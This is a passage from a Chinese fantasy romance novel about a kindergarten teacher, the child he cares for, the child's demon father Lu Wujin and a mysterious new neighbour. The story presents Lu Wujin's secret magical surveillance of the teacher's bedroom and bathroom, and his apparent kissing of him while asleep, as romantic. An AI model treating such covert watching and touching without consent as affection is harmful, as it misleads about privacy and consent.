杨思昭都牵着眠眠走过斑马线了,陆无烬还停在原地,像一棵修长直挺的树,在原地生了根。 看着有些落寞,有些可怜。 杨思昭逼自己不要回头看,又过了一条街,他还是忍不住问:“眠眠,你爸爸……有朋友吗?” “像我和乐乐那样的朋友吗?” “是,除了陈叔叔,你爸爸还和其他人说话吗?” 眠眠摇头,“爸爸不说话。” “为什么不说话?” 眠眠不知道,只说:“爸爸住的地方很大,很黑,一个人都没有。” 路边的花店将新鲜的玫瑰月季摆在店外吸引客人,远看像一团粉色烟霞。 杨思昭平日里不会留意这些,他不是一个有侍弄花草这种闲情雅趣的人,也不知怎么的,这一次,他竟然停下脚步。 这团粉色烟霞,怎么似曾相识? 脑海中响起一个声音,语气宠爱又无奈:暮儿,这些都是仙家种的花,不能吃。 暮儿…… 这两个字让杨思昭恍然回过神。 他站在车水马龙人来人往的街道上,竟然惊出了一身冷汗。 “妈妈。” 眠眠晃了晃杨思昭的手。 杨思昭扫清脑袋里奇怪的念头,低头朝他笑,“走吧,回家。” 眠眠回头看,杨思昭用余光扫了一眼,又怕被发现,于是梗着脖子问:“你爸爸……他过来了吗?” 眠眠立即变成小侦察兵,昂着头左看看右看看:“没有。” 杨思昭心里一沉。 难道真把他说伤心了?老妖怪也会伤心吗?可每个字都是他真实想法,他不能就这样稀里糊涂地接纳陆无烬进入他的生活啊。 接纳一个四岁的眠眠,对他一个二十三岁单身男生来说,已经够奇怪了。 还要变成gay…… 他连怎么应对他爸妈都没想好呢。 可是他说讨厌的时候,陆无烬看起来好像真的有点伤心。 就这样纠结着纠结着,两个人慢慢吞吞地走到了家门口。杨思昭打开门,对眠眠:“你问问你爸爸,他晚上吃不吃——” 一个“饭”字被他生生咽回口中。 因为他看到陆无烬端坐在沙发上,陈此安拿着小本子站在一旁,时不时点头. “辣炒蟹可以,但是不要太辣。”陆无烬说。 “好的,先生,那蛤蜊蒸蛋还要吗?” “来两份吧,用小盅装。” “好的。”陈此安抬起头,看到目瞪口呆的杨思昭,笑着说:“杨老师,您回来了。” 杨思昭探头出去,确认了一下门牌。陈此安说:“是您的家,您没走错。您昨天说卧室空调制热不太行,我已经派师傅检查过了,是空调滤网太长时间没有清洗,已经处理好了,您可以放心使用。” “我什么时候说空调制热不——” 杨思昭突然反应过来,径直冲到陆无烬面前,“你昨天不是不在家吗?你还在监视我?” 陈此安见状,迅速开溜。 杨思昭在心里收回他对陆无烬多余的怜惜,决定再也不会同情此妖半分。 “我没有看,只是听。”陆无烬说得一脸坦然。 “你把监控摄像头装在哪里了?”他扯了扯陆无烬的胳膊,“给我全部拆下来!” “我要确保你的安全。” 杨思昭眯起眼睛,“别告诉我在浴室和卧室装,也是确保我的安全。” 陆无烬又不说话了。 杨思昭抓住他的胳膊,把他拽到浴室,“不管你装了什么,都给我卸下来!” 他今天穿了一件圆鼓鼓的水蓝色短款羽绒服,帽沿有一圈白色的绒毛,蓬成云朵状,加上栗子色的头发,更显出几分稚气。他抓着陆无烬的衣袖不放,生气时脸颊鼻尖都泛着红,眼睛瞪得再圆,也毫无攻击性。 陆无烬觉得自己不应该忍住不亲他。 可是亲了,会惹他生气。 “你听到没有啊?”杨思昭发怒。 陆无烬只好挥了下手,浴室的雪白瓷砖上兀然出现三只像眼珠又像海螺的奇怪活体。杨思昭试探着走过去,那“眼珠”察觉到他的靠近,眼珠倏然间震动,对准杨思昭的脸,缓缓向下,再向上。 杨思昭往后退了一步。 那“眼珠”好像生怕看得不清晰,急急往前凸出几寸,缓缓向下,扫过杨思昭的胸脯、小腹、腿根到脚踝,再重新向上,在杨思昭的脸上逗留良久。 “……” 杨思昭握紧拳头,“陆、无、烬!” 已经被杨思昭的眼神千刀万剐的陆无烬仍旧面不改色心不跳,走上来,从后面握住了杨思昭的手,不顾他的挣扎,掌心覆着他的手背,按在了灵眼上。 灵眼是软的,像有生命的活物。 杨思昭有些害怕,可陆无烬在,好像也没什么好怕的。 他感觉到有一股微凉的荧蓝色薄雾,从陆无烬的掌心溢出,缓缓流经他的手背,小蛇般缠绕着他的指节,一圈圈蜿蜒向下,凝聚在指尖,最后汇入灵眼。 刹那间,灵眼便消失了。 杨思昭愣住,心生不安:“它……死了吗?” “休眠了。” 杨思昭颇为圣母心地松了口气,转念又想起来:“还有卧室!” “你在卧室的时间比较长,还是需要灵眼随时向我汇报你的安全情况,我保证,以后只听汇报,不看画面了。” 陆无烬语气温柔,像在哄他。 杨思昭怔忡片刻,后知后觉地发现他的手一直被陆无烬握在手中,触电般甩开,撂下一句“鬼才信你的保证”,急忙跑到客厅,抱起眠眠就要和他玩“小鱼找朋友”的游戏。 眠眠完全是懵的,小火车还握在手里,身子就悬空了。听到杨思昭说“小鱼小鱼找朋友,找到鲨鱼快逃走”,还是呆呆地望着他。 杨思昭把手并成鲨鱼的样子,一口咬在眠眠的脸蛋上,眠眠这才想起来逃跑。 往前倾,就被咬住肚子,翻个身,被咬住屁股,连忙往前爬,又被咬住脚。 杨思昭完全是在拿眠眠转移注意力,压根没给他逃跑的机会,眠眠一点都不恼,傻兮兮地笑。见杨思昭手一滑,没抓住,还特意把自己的脸蛋送到杨思昭的手掌心。 “啊,我被妈妈鲨鱼吃掉了。” 杨思昭把他抱进怀里,“让我看看先吃哪边的肉呢?眠眠小鱼哪里的肉最香?” 眠眠想了想,忽然眼睛一亮,“不吃眠眠,眠眠是小鱼,吃爸爸,爸爸是大鱼。” “不吃,你爸是臭鱼。” 眠眠脑袋一歪,倒在杨思昭的胸口,可怜巴巴地说:“好吧。” 陆无烬抱臂倚在门框边,静静地看着。杨思昭察觉到他的视线,气鼓鼓地挪了位置,抱着眠眠背过身去。 很快,陈此安派人将丰盛的晚餐送了过来,今晚是海鲜主题,最有味的一道当属年糕辣炒蟹,又香又辣,蟹肉鲜嫩多汁,年糕浸满了蟹黄的鲜味和酱汁的咸香,让杨思昭看着就食欲大开,足足吃了一碗半的米饭。 眠眠没怎么吃过海蟹,对蟹壳充满好奇,时不时凑过去摸一摸,咬一咬,舔一舔,沾了满脸的酱汁。被杨思昭发现了,就害羞地笑了笑,自己跑到客厅拿湿纸巾擦脸,然后凑到杨思昭面前说:“妈妈,我不是小花猫。” 陆无烬吃得不多,吃到一半就不怎么动筷了,只一味地看着杨思昭和眠眠。 杨思昭已经对他的目光免疫,自顾自地吃,这一桌子菜,什么都是好的,唯独海鲜罗宋汤里,他又喝出了一点铁锈味。 很少,藏在酸汤的一点余味里。 他问陆无烬:“这汤有怪味吗?” 陆无烬说:“没有。” 杨思昭陷入了自我怀疑。 正说着,门被人敲响了,杨思昭擦了擦手,走过去开门,门口站着一个四五岁大的小男孩,穿着一身酷酷的棒球服套装,拿着一盒饼干,朝杨思昭打招呼。 “你好。” 杨思昭一愣,旋即露出笑容,“你……你好呀。” 从小男孩身后走出一个身材颀长,相貌清俊的男人,“您好,我是1704的住户,今天刚搬过来,我叫裴怀谦,这是我的小侄子,以后还请多多关照。” 这栋楼是一梯两户的配置,杨思昭住在1703,两扇门正好相邻。 “您好您好,我叫杨思昭。” “听楼下的物业提了一嘴,说您在离这儿不远的灿灿幼儿园工作,是吗?” “是的。” “实在是打扰您了,我姐姐姐夫因为工作调动去了北京,这一年,我的小侄子只能跟着我生活。我在附近的科技公司工作,所以想把我侄子转学到灿灿幼儿园,这个在手续上,应该不复杂吧?” “私立幼儿园的转学手续不复杂的。” “那就好,”裴怀谦朝杨思昭伸出手,与他相握,笑着说,“杨先生放心,我不是来给你添麻烦的,只是想和你——” 话说到一半,他看到杨思昭身后的陆无烬,二人遥相对视,皆不语。 裴怀谦先收回目光,望向杨思昭,依旧笑得如沐春风:“我只是想让两个孩子交个朋友。” 他拍了拍小侄子的肩膀,“把饼干送给弟弟。” 小男孩低头,看向躲在杨思昭腿后的眠眠,眠眠还是很怕生,见外人目不转睛地盯着自己,更不敢冒出脑袋了,索性把脸埋在杨思昭的腿上。 杨思昭笑了笑。 裴怀谦说:“杨老师看起来年纪不大,已经有孩子了?” 杨思昭一时语塞,不知如何解释。 “是……是是……”他含含糊糊说了半天,也说不清楚,总之不想在眠眠面前否认。 所幸裴怀谦没有追问。 他让小男孩把饼干送给杨思昭,杨思昭连声道谢。 天也聊完了,招呼也打结束了,杨思昭准备关门,却听见裴怀谦说:“杨老师长得很像我以前的一位朋友,让我有种亲切感。” 杨思昭不好意思地挠挠头,“是嘛?” 裴怀谦朝他笑了笑,又向陆无烬颔首,然后带着侄子,进了隔壁的房门。 杨思昭迷迷糊糊地关上门。 好热情又奇怪的新邻居,不过看起来不像坏人,他想。 他把饼干盒递给眠眠,笑着说:“喏,帅叔叔给的饼干,看看什么口味的。” 一回头,刚和陆无烬对视上,刚想说话,陆无烬就转身去了客厅。 “?” 他走到客厅,陆无烬又转过头,指尖在半空中画了两圈,出现一堆鬼画符一样的光线,看起来很忙碌,完全不想搭理杨思昭。 “??” 第23章 “你爸爸还在外面吗?” 杨思昭戳了戳眠眠的屁股,眠眠本来在看《狗狗神探》图画书,看得正入迷,但是一听到杨思昭的声音,他立即翻了个身。 他学着狗狗神探的样子,顺着羽绒被子滑到床边,然后蹑手蹑脚地走到门口。 这已经是他今晚第三次当小侦察兵了。 他觉得很奇怪,爸爸和妈妈明明只隔了一道墙,妈妈喊一声,爸爸就会进来的。 但妈妈说什么,他就做什么吧。 他偷偷把门拉开一条缝,脸凑上去,看到爸爸坐在沙发上,闭着眼睛,肩头有一缕一缕荧蓝色的光线环绕着。这个画面他见过很多次了,陈叔叔说爸爸在休养身体。 他不懂什么是揪痒身体,他也不敢给爸爸挠痒痒。 他关上门,跑回来告诉杨思昭:“妈妈,爸爸还在!” 杨思昭吓了一跳,脸倏然变红,连忙把手指抵在嘴边:“声音小一点!” 眠眠觉得妈妈也变得奇怪了。 他回到床上钻进被窝,挪一挪屁股,挪到杨思昭怀里,抱着《狗狗神探》继续看。 杨思昭卸了一口气,抱住眠眠当靠枕,茫然地发了一会儿呆,脑袋里突然萌生了一个奇怪的念头:如果他也是妖怪就好了。 如果他也能挥挥手,变出一堆眼睛来,就能时时监控门外那只老妖怪了。 他绝不是出于在意,只是不想自己在睡梦中也被人窥视罢了。 “妈妈,这边有字。”眠眠指着图画书上的对话框,仰起头问杨思昭。杨思昭回过神,低头去看,缓缓读道:“因为聪明的狗狗神探,城市恢复了宁静,狗狗雷欧真是太棒啦。” “太棒啦。”眠眠开心地举起手。 杨思昭应该是中了眠眠蛊。 不然他怎么觉得眠眠所有的小动作小表情都可爱得要命,笑起来可爱委屈起来也可爱,像个小大人一样,抱着比图画书一页一页翻的时候,更是可爱得要命。如果有一天眠眠的亲生母亲回来了,他也决不舍得把眠眠还回去了。 他拿出手机,开始搜索法律问题:非亲生的孩子,怎么争取抚养权? 看了十来分钟,没找到一条百分百有把握的回复,他叹了口气,把眠眠捞到自己身上,眠眠刚洗完澡没多久,蜷曲的头发看起来更卷了,带着些微的湿意,软软伏在额头。 杨思昭在他的发顶亲了一口。 眠眠像八爪鱼一样紧紧抱着他。 临睡前,杨思昭还在纠结要不要出去给陆无烬送一条毯子,最后还是决定送。他轻手轻脚地走出去,板起脸,清了清嗓子,装出一副凶房东的模样。一打开门,却发现陆无烬已经不在客厅了。 真是来无影去无踪。 杨思昭抱着毯子,独自站在卧室门口,看着空荡荡的客厅,心中一片惘然。 这样也好。 他们本来就不应该住在一起。 这一晚他辗转了好一阵子才睡着,又梦到一些零零碎碎的片段,还是翠绿山林,桃花开得正盛。 一阵风吹来,将他送到一座宅院门口。他不明所以,随着落花往前走,看到一袭白衣坐在窗台。男人背对着他,长发及腰,微微侧首时露出高挺的鼻梁,只远远看着,也让杨思昭无由地想起“陌上人如玉”几个字。 忽然间,一只小白羊闯入画面。 它咬着一束绯红的花,越过草丛,直直地冲到窗台,用小羊角顶了顶男人。 男人并不回头看,只说:“那是供仙家修炼之用的琼花,说过多少遍了,不可摘。” 小白羊置若罔闻,一口咬下花瓣,在嘴里嚼了又嚼,而后仰起脑袋看了看天,背过身去,一眨眼就变成一个清瘦的少年,穿着水蓝色不太合身的长袖袍衫,领口从白嫩的肩头滑落,嘴里还叼着绯红的琼花,倚在男人的臂膀边,百无聊赖道:“就这个味道还好点,我还不乐意吃呢,你这儿真没意思。” “什么有意思?” “你编过花环吗?做过南瓜灯笼吗?” “都是些人间的庸俗之事。” “怎么就庸俗了?你每天修炼才叫庸俗呢,上仙有什么意思?上仙吃过玉米汤团吗?” 男人沉默良久,垂眸问:“这般没意思,你为何还要留在这里?” “因为——”少年顿住了,眼珠乱转,半晌才说:“因为我倾慕你呀,净梵神君!” 他歪着脑袋凑到男人身前,“你为什么从来不笑?他们说,你修的是静心法。他们还说,你成为神官之前,是人间的将军,束发之年出征,二十年未归家,最后却因为皇帝的猜忌,死于一杯毒酒,是真的吗?那你成为神官之后,有没有去人间报复那个皇帝?” 男人不理他,他自顾自说:“如果是我,我一定狠狠揍他一顿,哎呀,你怎么一点喜怒哀乐都没有啊?怎么成了神官还要苦修?修了静心法就不能笑了吗?我想看你笑。” 男人还是不理他。 这儿鸟雀无声,少年无聊透顶,摘了两片花瓣塞进发丝里,忽然问:“净梵神君,你在人间娶过妻吗?” 男人回头望向他,阳光洒在少年的身上,每一根青丝都发着光,他眉眼弯弯,笑容灿烂,脸颊两侧各有一个小小的窝。 得到男人的回应,他笑意更甚,一下子扑到男人怀里,像小羊顶角一样,低着脑袋,一个劲地把脑袋上的花瓣显摆给男人看。 “我这样,像不像人间的新娘子?” 梦里的画面到这里戛然而止。 顷刻间一片漆黑。 仿佛有什么东西封印住了他的脑袋,用一把沉甸甸的锁,锁住前尘过往。 杨思昭在梦中挣扎,可手脚都被人束缚住,他动弹不得,愈发难过。他感觉自己流泪了,可是很快,他又感觉到有一个温热柔软的东西,顺着他的眼角,一点点往下,吻去他的眼泪,最后落在他的唇瓣。 眼泪咸湿而苦涩,吻也是。 醒来后,杨思昭看着天花板,缓了足足十分钟,才把思绪拉回到现实世界。 很奇怪,这种怅惘到极点的时刻,他竟然想起陆无烬,想到陆无烬,心悬起又落下。 而后如蝶翅般扇动,良久才平息。 他又一次茫然地望着天花板。 闹钟响起,七点了。 眠眠还没醒,睡在他的臂弯里,穿着浅绿色的棉睡衣,蜷缩着像一颗小蚕豆。 杨思昭撑起上半身,想帮他盖好被子,身子一抬,领口微微敞开,余光里扫到胸口的一颗红印,整个人霎时僵住。 他低头看,胸口竟然有一个红印。 不是撞的不是嗑的,哪怕是他这种完全没谈过恋爱的,也能瞬间看出来。 ——是吻痕。 还不止胸口,小腹、锁骨也有。 他冲到卫生间镜子前,脖子上也有! 难怪他昨晚会做那个梦! “陆、无、烬……”他咬牙切齿。 谁知下一秒,一个低沉的声音就在他身后响起,“怎么了?” 他回过头,看到陆无烬抱臂倚在门边,朝他扬了下眉梢,“早上好,小羊老师。” 他竟然又换了一套衣服,又不是昨天的浅灰了,换了一身黑,黑色丝绸衬衫沿着起伏的肩线流淌至收束的窄腰,西裤包裹着笔直的长腿,看起来矜贵得很。 “你——” 杨思昭指着自己的脖子,“这是不是你干的?” 陆无烬不回答,反而饶有兴致地望向杨思昭的脖子,然后问:“这是什么?” “你再装!” “说不定是湿疹呢?” “你脸皮怎么这么厚?大尾巴狼!”杨思昭气到极点,又拿他毫无办法,只能一脚踹在他的腿上,然后咣当一下关上卫生间的门。 响声吵醒了眠眠。 眠眠睁开眼,发现杨思昭不在他身边,喊了两声妈妈,也没人回应。 “妈妈……” 他无助地抱着被角,小声啜泣起来。 泪眼朦胧中,他感觉到床边凹陷下去,一转头,看到了陆无烬。 陆无烬躺在原本杨思昭睡觉的位置,一条胳膊枕在脑后,目光平静地望着他。 “昨天还以为你长大了。” 眠眠抽噎了两声,把脸埋在被子里,撅起屁股对着陆无烬,不想说话。 陆无烬捏了捏他的屁股。 眠眠呜咽得更凶了。 哭声招来了杨思昭,杨思昭一把抱起眠眠,朝陆无烬狠狠瞪了一眼,去了卫生间洗漱。 陆无烬则是独自睡在床上,手臂横放,指尖差一点就能触碰到床边。 和三百年前青竹林那张床差不多宽。 他收回手臂,目光变得虚茫. 陈此安派人送来了早餐。 今天是鲜鸡汤米线。 杨思昭压根不想搭理陆无烬,他不允许陆无烬上桌吃饭,陆无烬就坐在客厅。 七点二十五,他准时出发上班。 眠眠已经穿好了羽绒服,背着小书包,乖乖站在鞋柜旁边等他。他蹲下来给眠眠带上围巾,裹住了眠眠的半张脸。眠眠努力把自己的小脸扒拉出来,然后朝杨思昭笑。 “走吧!”杨思昭牵住他的手。 眠眠回头看了眼陆无烬,陆无烬已经穿好大衣,走到门边。 杨思昭疑惑地问:“你干嘛?” “送你上班。” 杨思昭“切”了一声,“才不要。” 他推开门就要离开,结果迎面遇上昨晚刚认识的裴怀谦。裴怀谦白天的穿着看起来比晚上年轻许多,他穿了一件长款的羽绒服,里面是一件米白色的针织衫和衬衣,还戴了一副细边眼镜,看着清新俊朗又文质彬彬。 他一抬头,就朝杨思昭笑,“杨老师,早上好,这两天寒潮降温,要多穿一点,不要感冒了。” “裴先生,你也是。” “我今天跟着杨老师一起去幼儿园,”裴怀谦拍了拍身边小男孩的肩膀,“给他过去办入学手续,还是让他去幼儿园待着吧,否则天天在家里和我打架,我可受不了。” 杨思昭笑了笑,俯身问小男孩,“你叫什么名字呀?” 小男孩看着拽拽的,不太爱搭理人,小刺猬一样的短发,穿着儿童冲锋衣套装,两手插在裤兜里,半晌才回答:“许曜。” “有没有小名呀?” 男孩别过脸,不肯回答,裴怀谦刚要说,又被他搡了一拳,“不许说!” 裴怀谦求饶,“好好好,不说。” 他看了眼手表,“时间也差不多了,杨老师怎么去?坐我的车?” 杨思昭下意识回头看了一眼陆无烬,裴怀谦明明很早就和陆无烬对视了,此刻却像是刚刚看见,主动打招呼,“这位是——” 眠眠不好介绍,陆无烬就更难介绍了,杨思昭挠了挠头,果断道:“我学长。” 话音刚落,他瞬间感觉到一股灼热的视线停在他的后颈,几乎要把他灼烧成灰烬。但他带着几分解气的心思,硬着头皮说:“他路过月岭,来我这里睡一晚,今天就走了。” 他想,看陆无烬这回怎么办! 谁料陆无烬缓缓开口,“怎么变成学长了,昨晚不是约好,出门就说是哥哥的吗?” “……” 杨思昭两手握拳。 忘了眠眠的小手还在他手里,一腔怒火被眠眠可怜巴巴的一声“妈妈我痛”浇熄。 他连忙搓了搓眠眠的小手,也不敢看裴怀谦的表情了,先一步冲到电梯门口。不管不顾,电梯门一打开,他就抱起眠眠冲了进去,然后狂按关门键,逃之夭夭。 陆无烬关上家门。 和裴怀谦两个人一起等电梯上行。 “裴怀谦,”陆无烬念了一遍,“这个身份不错,还有家人,看起来的确像是历劫。” 裴怀谦浅笑不语。 “很巧,我派了很多人去找你,没想到你先出现了,溯光神君。” “是很巧,”裴怀谦转头望向陆无烬,“久仰大名了,净梵神君,您的事迹神界传诵至今,但您如今,已经不配拥有这个名号了。” 陆无烬面色未变,“你似乎了解不少,那你应该知道,我现在需要什么。” “他历劫前的记忆?是在我这里。” “开个条件。” “我为什么要给您?我并不希望他想起三百年前的事,因为……”电梯门正好打开,裴怀谦伸手抵住,“因为我也遇到过他。” 陆无烬怔住。 “两百多年前,他第一次轮回历劫时,我也遇到过他。那时候他对我说过一句话,成了我百年的心结,我也想解开这份心结。” 杨思昭等了好久都等不到那三个人下楼,他都快迟到了! 真是耽误事。 他搁下眠眠,快步冲到电梯口,正巧电梯门打开,他一个没刹住车就要往里栽。 裴怀谦站在前面,及时握住他的胳膊,杨思昭僵了一瞬,下意识望向陆无烬。 第24章 杨思昭的目光,先是落在裴怀谦的手上,看到裴怀谦修长的手指托着自己的臂肘,他本能地一激灵,抬起头,视线越过裴怀谦的肩膀,直直投向他身后的陆无烬。 陆无烬的脸色以肉眼可见的速度冷了下来。 杨思昭连忙往后退了两步,朝裴怀谦干笑两声,又觉得自己的反应太过突兀,怕被裴怀谦看出异样,于是急匆匆地说:“我这儿快迟到了,裴先生,怕不能和你一路去了。” 裴怀谦依旧是温柔地笑,“抱歉,是我耽误时间了,杨老师不如坐我的车吧。” 杨思昭总觉得气氛不太对。 陆无烬这时候为什么不说话呢? 可他转念一想,他为什么希望陆无烬在这时候说话呢? 果然,和莫名其妙的陆无烬接触多了,他也变得莫名其妙了。 他抿了抿唇,朝裴怀谦笑:“不用了,裴先生,我和眠眠已经习惯每天早上走路去幼儿园了,而且这个小区离幼儿园不远,红绿灯还很多,其实你开车未必有走路快呢。” “是吗,我还没试过,改天跟着杨老师一起走路过去试一试。”裴怀谦说。 杨思昭略有些尴尬地挠了挠头,“好、好啊,我要提前十分钟到的,我先走了。” 他说完就跑开了,跑到花坛边,一把牵住眠眠的手,一大一小两个人一眨眼没了影。 裴怀谦的目光始终追随着杨思昭。 直到他的身影消失在转角,才收敛了笑意,在台阶边停下脚步。 “他的性子,倒是每一世都差不多。” 陆无烬闻言开口:“作为封印官,将历劫者的前世记忆占为己有,是监守自盗。” “是啊,此行结束后,我会自领责罚,但我并不想把记忆交给你。” 裴怀谦转头望向陆无烬。“除非有一天,他亲口对我说,他想要记起来。” “你觉得我需要和你讨价还价?” “神君,论功力,我不是您的对手,您无论是神是妖皆不同凡响,但您有软肋,您比任何人都想要知道三百年前究竟发生了什么,这是我唯一的优势。” 裴怀谦摸了摸许曜的脑袋,“走吧,去幼儿园。” 许曜不喜欢这个动作,扭过头去。 裴怀谦浅笑,向陆无烬颔首致意,而后离开。 许曜跳下台阶,一边走一边说:“我不想上幼儿园,我做过入学测试了,我可以直接读四年级。” “在幼儿园玩一玩不好吗?” “那些小孩都太傻了,”许曜想起昨天那个,看着更呆,“我和他们玩不到一起。” 裴怀谦被逗笑了,“谁能和你玩到一起?” “没有,你带我来这里,就是为了见那个哥哥吗?” “是。” “为什么?” “因为,”裴怀谦取出车钥匙,打开了驾驶座的门,朝他眨了下眼:“我有任务。” 杨思昭赶在七点四十前踏进幼儿园,跑得他气喘吁吁,怀里的眠眠也被他颠得七荤八素,衣服凌乱,针织帽取下来,柔软的卷发直接变成了爆炸头。 方小望远远地看见了,笑嘻嘻地说:“眠眠变成爆米花了!” 圈圈补充道:“是巧克力爆米花!” 眠眠呆了几秒,才急急忙忙捂住自己的脑袋,发现自己的手太小,根本遮不住,于是一个劲地往杨思昭的怀里藏。 杨思昭哭笑不得,把他抱到更衣室,用稍微打湿的梳子,一点点给他梳顺。 眠眠坐在杨思昭的膝盖上,垂着脑袋,一动不动地乖乖坐着。时不时抬起头,用那双湿漉漉圆溜溜的眼睛,很认真地、充满崇拜与依赖地望着杨思昭。 有那么一瞬间,杨思昭想,眠眠对他的这份爱是否来得太突然、太直接,毫无过渡,就像一下子来到了童话故事的结尾——他们幸福地生活在一起。 可他真的能一直拥有眠眠吗? 梦里的零碎画面在眼前一闪而过,心脏又一阵钝痛,自从陆无烬赖在他家,给他准备好一日三餐之后,杨思昭时常感觉到心脏不舒服。说不出的感觉,仿佛胸腔里藏着另一颗心脏,汲取他的营养,此起彼伏地跃动,让他无法安定。 “杨老师?” 徐蕊的声音打破了杨思昭的遐思,他回过头,徐蕊拿着体检报告单走进来。 “你的报告单,杨老师。” “谢谢徐老师。” 杨思昭把眠眠放下,接过报告单,脸色一变,惊讶道:“怎、怎么这么多箭头?激素超标,红细胞数量超标,有心血管疾病风险?这是什么情况?” 徐蕊凑过来看了一眼,同样惊诧:“哎呀,怎么年纪轻轻就这么多超标?杨老师,你最近是不是遇到什么事啊,感觉你总是眉头紧锁,看着很有心事的样子。” “我……” “我感觉你整个人就像是被吸了精气,总是没精打采的。” 杨思昭眼神飘忽,愈发心虚。 “我原本身体也是很好的,但是我前男友那个人特别渣,搞得我好长一段时间心理状态和身体状态都特别差。” 徐蕊一边说一边观察着杨思昭的脸色,见他一愣,明显有所联想时,乘胜追击道:“所以说,想要好身体,第一步要做的就是远离那些让你不舒服、不开心的人。” “远离。”杨思昭喃喃道。 “是啊,离得越远越好,总归是自己的命最重要。”徐蕊拍了拍杨思昭的肩膀,忽然一脸八卦地问:“对了,上次来接你下班的人是谁?我们都在聊呢,你怎么和学生爸爸走得这么近,你们之前认识吗?” 杨思昭面露惊色,连忙否认:“我和他没有半点关系!我一直和学生家长保持距离的!” “知道知道。” 这话像是一脚踩住了杨思昭的尾巴,惊得他抬高了声量,又说了一遍:“真的没关系。” 徐蕊笑着说:“知道了。” 正说着,同事走进来,八卦道:“来了个好酷的小帅哥,舅舅带过来的,舅甥俩长得都不错。” 杨思昭一听便知,是裴怀谦来了。 他放下眠眠,走了出去。 私立幼儿园的转学手续很简单,再加上许曜只在这里待半个学期,没几分钟,就办理好入学手续了。许曜两手插着兜,冷冷环视这个满墙都是弱智图画的幼儿园时,眼前忽然出现了一只小熊玩偶。 他愣住,玩偶后面是杨思昭的脸。 杨思昭眉眼弯弯,笑得灿烂又温柔,“你好啊,许曜小朋友,欢迎你入园。” 许曜半晌才皱起眉头,别过脸去,“幼稚,我已经不是三四岁的小孩了。” 杨思昭把小熊玩偶递给他,很熟练地哄道:“我知道,你是四五岁的大人了,这位是叶老师,你之后就在叶老师的班级里,知不知道?” 许曜不情不愿地接过来。 转过身,毫无挂念不舍地走了。 一旁的眠眠直勾勾地盯着他手里的小熊玩偶,那是一个穿着蓝色警察衣服的棕色小熊,他伸出小手抓了抓,可许曜走得飞快,一晃眼就不见了。 裴怀谦无奈地笑:“不好意思,他从小性格就古怪,智商高情商低。” 杨思昭摆手,“没事,挺可爱的。” 裴怀谦留下来,在教室外面看了一会儿许曜。许曜自然是不和小朋友们一起玩的,一个人坐在角落里玩四阶魔方。 杨思昭刚好从教室里走出来,也凑到窗边看了看。 叶老师站在门口,把手掩在嘴边,小声说:“小家伙不太合群啊。” “没关系,他有坚持他自己个性的权利。”裴怀谦说。 杨思昭听了之后,竖起大拇指,夸奖道:“裴先生,很棒的教育理念!” 裴怀谦望向他,眼里含着笑意。 杨思昭说:“你就放心把许曜交给叶老师吧,我先去上课了。” “好。” 上午才打过招呼,下午四点放学时,裴怀谦准时出现在幼儿园门口。 他买了奶酪棒和鲜果汁,还给眠眠也带了一份。 “谢谢了。”杨思昭背上包,牵着眠眠的手,疑惑地问:“裴先生做什么工作的,怎么下午四点有时间过来接孩子?” “我开公司。” “……”杨思昭差点呛住。 真是的,怎么一个两个的,都又有钱又有闲,就他是朝七晚五的牛马? “怎么了?” 杨思昭摆摆手,“没有,你真厉害。” 他们一起往小区的方向走。 小熊玩偶从许曜的书包拉链里露出一条腿,眠眠握着奶酪棒,眼巴巴地望着。 裴怀谦说:“我觉得杨老师更厉害,一个人同时管理照顾六个孩子,这需要极大的精力、脑力、耐心和爱心,一般人是做不来的。” 杨思昭从小到大都没被人这样夸奖过,一下子怔住了,半晌突然脸红,挠了挠头说:“裴先生你说话也太夸张了,我这个……没什么技术含量的。” “是你妄自菲薄,能让别人喜欢你、信任你,就是一件很厉害的事。” 裴怀谦这番话,让杨思昭回到家后还飘飘然好久。 他对自己的评价都来源于他妈:读书不行、脑袋笨、没心眼傻乎乎、没有阳刚之气,也就脸长得还行这一个优点。 他前二十几年人生和他妈说得差不多,没什么成绩也没什么朋友,找了份中规中矩的工作,过着中规中矩的生活。 可是今天有人跟他说:你很厉害。 不是上课认真、不是听话乖巧,是厉害!杨思昭顿时感觉自己头顶的蓝天都亮堂了许多,前所未有的轻快。 关上房门的时候,他还在哼歌,眠眠不知道他在开心什么,也仰着头,傻兮兮地笑,露出一边一个小酒窝。 回到家,简单打扫,洗手,做饭,还是平常的一套步骤,只是今天似乎差了点什么,把淘好的米倒进电饭锅时,杨思昭突然反应过来:陆无烬一直没出现。 想起陆无烬,他脸上的笑容浅了许多。 他想起徐蕊的话,要远离让自己不舒服的人。 体检报告是最直观的反映,陆无烬出现之后,他明显感觉到精神恍惚、心力不济,陆无烬待在他家的这几天,他的身体也亮起了红灯,尤其是心脏。 其中原因,他不知道。 但他很清楚一点,他不应该放任陆无烬再这样肆无忌惮地打扰他的生活了。 他这样想着,一转头看到客厅沙发上少了那抹黑色身影,竟又觉得空荡荡。 该死的陆无烬。 杨思昭握住菜刀,狠狠砍在大白菜上,剁了又剁,切了又切,切成碎末。 等气全消了,才想起来他本来想做醋溜白菜的,现在白菜已经成了一摊碎末。他只好转头对眠眠说:“眠眠,今晚吃水饺好不好呀?” 眠眠抱着小火车兴奋地跑过来,说:“好!” 他是合格的小食客,从不挑食,从不批评,从不捣乱,只会把肚子吃得圆滚滚,以示对这顿晚餐的满意。 杨思昭一口气包了两屉水饺,一半下锅,一半放进冰箱。他倚在墙边,两手背在身后,看着水饺在沸腾的水里翻滚冒泡,不自觉走了神。 直到眠眠跑过来揪他的衣摆,“妈妈妈妈,锅的水,锅的水!” 他才猛然回神,连忙把燃气灶关了,心有余悸地抱住眠眠,把脸埋在他的小小肩头。眠眠看出他的心事,问:“妈妈,爸爸呢?” 眠眠第一次这样问,杨思昭怔了怔,“眠眠希望爸爸陪在你身边吗?” 他以为眠眠肯定会摇头。 谁想眠眠低着头,小声说:“希望。” 说完又摇头,“妈妈不要让爸爸知道,爸爸不喜欢眠眠。” 杨思昭的心瞬间软得一塌糊涂。 “爸爸怎么会不喜欢眠眠呢?” 眠眠低头看着小火车,不说话了。 他沉默的样子很像陆无烬,让杨思昭心乱如麻,不知道如何应对才好。 吃完饭,一直到晚上,陆无烬还是没有出现。 杨思昭在床上翻了个身,长长呼出一口气,他觉得很不对劲。 拨通陈此安的电话时,他对自己说:我绝对不是因为想陆无烬或者担心他,我只是替眠眠打这个电话,作为孩子的亲生父亲,他有义务报备行踪,以保证孩子的安全感,所以我才打了这个电话。 “杨老师?” 电话接通,陈此安的声音传了过来,和以往不同,这次他有些慌乱。 “陈助理,你怎么了?” 